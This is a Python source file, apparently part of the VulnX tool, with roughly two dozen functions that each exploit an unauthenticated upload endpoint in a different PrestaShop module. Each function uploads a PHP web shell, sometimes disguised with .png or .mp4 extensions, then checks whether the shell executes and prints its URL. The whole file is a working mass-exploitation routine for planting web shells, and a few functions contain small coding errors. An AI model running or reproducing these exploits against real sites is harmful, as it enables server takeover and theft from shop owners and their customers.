import requests
import re
import os
Session = requests.Session()
from common.colors import que,vulnexploit,que,failexploit

#columnadvert
def columnadverts(url,headers):
    endpoint = url + "/modules/columnadverts/uploadimage.php"
    img = open('shell/VulnX.php', 'rb')
    name_img= os.path.basename('shell/VulnX.php')
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}) }
    upload_file = Session.post(endpoint,files=files)
    shellup = url + "/modules/columnadverts/slides/VulnX.php?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),upload_file)
    if statusCheck:
        print(' %s column-advert         %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s column-advert         %s' %(que , failexploit))    

#soopabanner
def soopabanners(url,headers):
    endpoint = url + "/modules/soopabanners/uploadimage.php"
    img = open('shell/VulnX.php', 'rb')
    name_img= os.path.basename('shell/VulnX.php')
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}) }
    upload_file = Session.post(endpoint,files=files)
    shellup = url + "/modules/soopabanners/slides/VulnX.php?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)
    if statusCheck:
        print(' %s soopa-banner          %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s soopa-banner          %s' %(que , failexploit))  

#vtermslideshow
def vtslide(url,headers):
    endpoint = url + "/modules/vtermslideshow/uploadimage.php"
    img = open('shell/VulnX.php', 'rb')
    name_img= os.path.basename('shell/VulnX.php')
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}) }
    upload_file = Session.post(endpoint,files=files)
    shellup = url + "/modules/vtermslideshow/slides/VulnX.php?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)
    if statusCheck:
        print(' %s vterm-slideshowbar    %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s vterm-slideshowbar    %s' %(que , failexploit))  

#simpleslideshow
def simpleslideshow(url,headers):
    endpoint = url + "/modules/simpleslideshow/uploadimage.php"
    img = open('shell/VulnX.php', 'rb')
    name_img= os.path.basename('shell/VulnX.php')
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}) }
    upload_file = Session.post(endpoint,files=files)
    shellup = url + "/modules/simpleslideshow/slides/VulnX.php?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)
    if statusCheck:
        print(' %s simple-slideshow      %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s simple-slideshow      %s' %(que , failexploit))  

#productpageadverts
def productpageadverts(url,headers):
    endpoint = url + "/modules/productpageadverts/uploadimage.php"
    img = open('shell/VulnX.php', 'rb')
    name_img= os.path.basename('shell/VulnX.php')
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}) }
    upload_file = Session.post(endpoint,files=files)
    shellup = url + "/modules/productpageadverts/slides/VulnX.php?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)
    if statusCheck:
        print(' %s pageadvertise         %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s pageadvertise         %s' %(que , failexploit))  

#productpageadvertsb
def productpageadvertsb(url,headers):
    endpoint = url + "/modules/homepageadvertise2/uploadimage.php"
    img = open('shell/VulnX.php', 'rb')
    name_img= os.path.basename('shell/VulnX.php')
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}) }
    upload_file = Session.post(endpoint,files=files)
    shellup = url + "/modules/homepageadvertise2/slides/VulnX.php?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)
    if statusCheck:
        print(' %s pageadvertise2        %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s pageadvertise2        %s' %(que , failexploit))  

#jro_homepageadvertise
def jro_homepageadvertise(url,headers):
    endpoint = url + "/modules/jro_homepageadvertise/uploadimage.php"
    img = open('shell/VulnX.php', 'rb')
    name_img= os.path.basename('shell/VulnX.php')
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}) }
    upload_file = Session.post(endpoint,files=files)
    shellup = url + "/modules/jro_homepageadvertise/slides/VulnX.php?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)
    if statusCheck:
        print(' %s jro_homepageadvertise %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s jro_homepageadvertise %s' %(que , failexploit))  

#attributewizardpro
def attributewizardpro(url,headers):
    endpoint = url + "/modules/attributewizardpro/file_upload.php"
    img = open('shell/VulnX.php', 'rb')
    name_img= os.path.basename('shell/VulnX.php')
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}) }
    upload_file = Session.post(endpoint,files=files)
    shellup = url + "/modules/attributewizardpro/file_uploads/VulnX.php?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)
    if statusCheck:
        print(' %s attribute-wizardpro   %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s attribute-wizardpro   %s' %(que , failexploit))  

#-------------attributewizardpro
def oneattributewizardpro(url,headers):
    endpoint = url + "/modules/1attributewizardpro/file_upload.php"
    img = open('shell/VulnX.php', 'rb')
    name_img= os.path.basename('shell/VulnX.php')
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}) }
    upload_file = Session.post(endpoint,files=files)
    shellup = url + "/modules/1attributewizardpro/file_uploads/VulnX.php?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)
    if statusCheck:
        print(' %s oneattributewizardpro %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s oneattributewizardpro %s' %(que , failexploit))  


#attributewizardproOLD
def attributewizardpro_old(url,headers):
    endpoint = url + "/modules/attributewizardpro.OLD/file_upload.php"
    img = open('shell/VulnX.php', 'rb')
    name_img= os.path.basename('shell/VulnX.php')
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}) }
    upload_file = Session.post(endpoint,files=files)
    shellup = url + "/modules/attributewizardpro.OLD/file_uploads/VulnX.php?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)
    if statusCheck:
        print(' %s attributewizardpro_old%s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s attributewizardpro_old%s' %(que , failexploit))  

#attributewizardproold
def attributewizardpro_x(url,headers):
    endpoint = url + "/modules/attributewizardpro_x/file_upload.php"
    img = open('shell/VulnX.php', 'rb')
    name_img= os.path.basename('shell/VulnX.php')
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}) }
    upload_file = Session.post(endpoint,files=files)
    shellup = url + "/modules/attributewizardpro_x/file_uploads/VulnX.php?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)
    if statusCheck:
        print(' %s attributewizardpro    %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s attributewizardpro    %s' %(que , failexploit))  

#advancedslider
def advancedslider(url,headers):
    endpoint = url + "/modules/advancedslider/ajax_advancedsliderUpload.php?action=submitUploadImage%26id_slide=php"
    img = open('shell/VulnX.php.png', 'rb')
    name_img= os.path.basename('shell/VulnX.php.png')
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}) }
    upload_file = Session.post(endpoint,files=files)
    shellup = url + "/modules/advancedslider/uploads/VulnX.php.png?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)
    if statusCheck:
        print(' %s advancedslider        %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s advancedslider        %s' %(que , failexploit))  


#cartabandonmentpro
def cartabandonmentpro(url,headers):
    endpoint = url + "/modules/cartabandonmentpro/upload.php"
    img = open('shell/VulnX.php.png', 'rb')
    name_img= os.path.basename('shell/VulnX.php.png')
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}) }
    upload_file = Session.post(endpoint,files=files)
    shellup = url + "/modules/cartabandonmentpro/uploads/VulnX.php.png?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)
    if statusCheck:
        print(' %s cartabandonmentpro    %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s cartabandonmentpro    %s' %(que , failexploit))  

#cartabandonmentpro_old
def cartabandonmentpro_old(url,headers):
    endpoint = url + "/modules/cartabandonmentproOld/upload.php"
    img = open('shell/VulnX.php.png', 'rb')
    name_img= os.path.basename('shell/VulnX.php.png')
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}) }
    upload_file = Session.post(endpoint,files=files)
    shellup = url + "/modules/cartabandonmentproOld/uploads/VulnX.php.png?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)
    if statusCheck:
        print(' %s cartabandonmentpro_old%s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s cartabandonmentpro_old%s' %(que , failexploit))

#videostab
def videostab(url,headers):
    endpoint = url + "/modules/videostab/ajax_videostab.php?action=submitUploadVideo%26id_product=upload"
    img = open('shell/VulnX.php.mp4', 'rb')
    name_img= os.path.basename('shell/VulnX.php.mp4')
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'})}
    upload_file = Session.post(endpoint,files=files)
    shellup = url + "/modules/videostab/uploads/VulnX.php.mp4?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)
    if statusCheck:
        print(' %s videostab             %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s videostab             %s' %(que , failexploit))

#wg24themeadministration
def wg24themeadministration(url,headers):
    endpoint = url + "/modules//wg24themeadministration/wg24_ajax.php"
    img = open('shell/VulnX.php', 'rb')
    name_img= os.path.basename('shell/VulnX.php')
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}),
            'type' : 'pattern_upload' }
    upload_file = Session.post(endpoint,files=files)
    shellup = url + "/modules/wg24themeadministration/img/upload/VulnX.php?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)
    if statusCheck:
        print(' %s wg24themeadmin        %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s wg24themeadmin        %s' %(que , failexploit))

#fieldvmegamenu
def fieldvmegamenu(url,headers):
    endpoint = url + "/modules/fieldvmegamenu/ajax/upload.php"
    img = open('shell/VulnX.php', 'rb')
    name_img= os.path.basename('shell/VulnX.php')
    fieldname = "image[]"
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'})}
    data = { fieldname : files }
    upload_file = Session.post(endpoint,data)
    shellup = url + "/modules/fieldvmegamenu/uploads/VulnX.php?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)
    if statusCheck:
        print(' %s fieldvmegamenu        %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s fieldvmegamenu        %s' %(que , failexploit))

#wdoptionpanel
def wdoptionpanel(url,headers):
    endpoint = url + "/modules/wdoptionpanel/wdoptionpanel_ajax.php"
    img = open('shell/VulnX.php', 'rb')
    name_img= os.path.basename('shell/VulnX.php')
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}),
            'type' : 'pattern_upload' }
    upload_file = Session.post(endpoint,files=files)
    shellup = url + "/modules/wdoptionpanel/upload/VulnX.php?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)
    if statusCheck:
        print(' %s wdoptionpanel         %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s wdoptionpanel         %s' %(que , failexploit))

#pk_flexmenu
def pk_flexmenu(url,headers):
    endpoint = url + "/modules/pk_flexmenu/ajax/upload.php"
    img = open('shell/VulnX.php', 'rb')
    name_img= os.path.basename('shell/VulnX.php')
    fieldname = "image[]"
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'})}
    data = { fieldname : files }
    upload_file = Session.post(endpoint,data)
    shellup = url + "/modules/pk_flexmenu/uploads/VulnX.php?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)
    if statusCheck:
        print(' %s pk_flexmenu           %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s pk_flexmenu           %s' %(que , failexploit))

#pk_vertflexmenu
def pk_vertflexmenu(url,headers):
    endpoint = url + "/modules/pk_vertflexmenu/ajax/upload.php"
    img = open('shell/VulnX.php', 'rb')
    name_img= os.path.basename('shell/VulnX.php')
    fieldname = "image[]"
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'})}
    data = { fieldname : files }
    upload_file = Session.post(endpoint,data)
    shellup = url + "/modules/pk_vertflexmenu/uploads/VulnX.php?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)
    if statusCheck:
        print(' %s pk_flexmenu           %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s pk_flexmenu           %s' %(que , failexploit))

#nvn_export_orders
def nvn_export_orders(url,headers):
    endpoint = url + "/modules/nvn_export_orders/upload.php"
    img = open('shell/VulnX.php', 'rb')
    name_img= os.path.basename('shell/VulnX.php')
    fieldname = "image[]"
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'})}
    data = { fieldname : files }
    upload_file = Session.post(endpoint,data)
    shellup = url + "/modules/nvn_export_orders/nvn_extra_add.php?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)
    if statusCheck:
        print(' %s nvn_export_orders     %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s nvn_export_orders     %s' %(que , failexploit))

#tdpsthemeoptionpanel
def tdpsthemeoptionpanel(url,headers):
    endpoint = url + "/modules/tdpsthemeoptionpanel/tdpsthemeoptionpanelAjax.php"
    img = open('shell/VulnX.php', 'rb')
    name_img= os.path.basename('shell/VulnX.php')
    fieldname = "image[]"
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'})}
    data = { fieldname : files }
    upload_file = Session.post(endpoint,data)
    shellup = url + "/modules/tdpsthemeoptionpanel/upload/VulnX.php?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)
    if statusCheck:
        print(' %s tdpsthemeoptionpanel  %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s tdpsthemeoptionpanel  %s' %(que , failexploit))

#masseditproduct
def masseditproduct(url,headers):
    endpoint = url + "/modules/lib/redactor/file_upload.php"
    img = open('shell/VulnX.php', 'rb')
    name_img= os.path.basename('shell/VulnX.php')
    fieldname = "image[]"
    files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'})}
    data = { fieldname : files }
    upload_file = Session.post(endpoint,data)
    shellup = url + "/masseditproduct/uploads/file/VulnX.php?Vuln=X"
    checkShell = requests.get(shellup).text
    statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)
    if statusCheck:
        print(' %s masseditproduct       %s    %s' %(que,vulnexploit,shellup))
    else:
        print(' %s masseditproduct       %s' %(que , failexploit))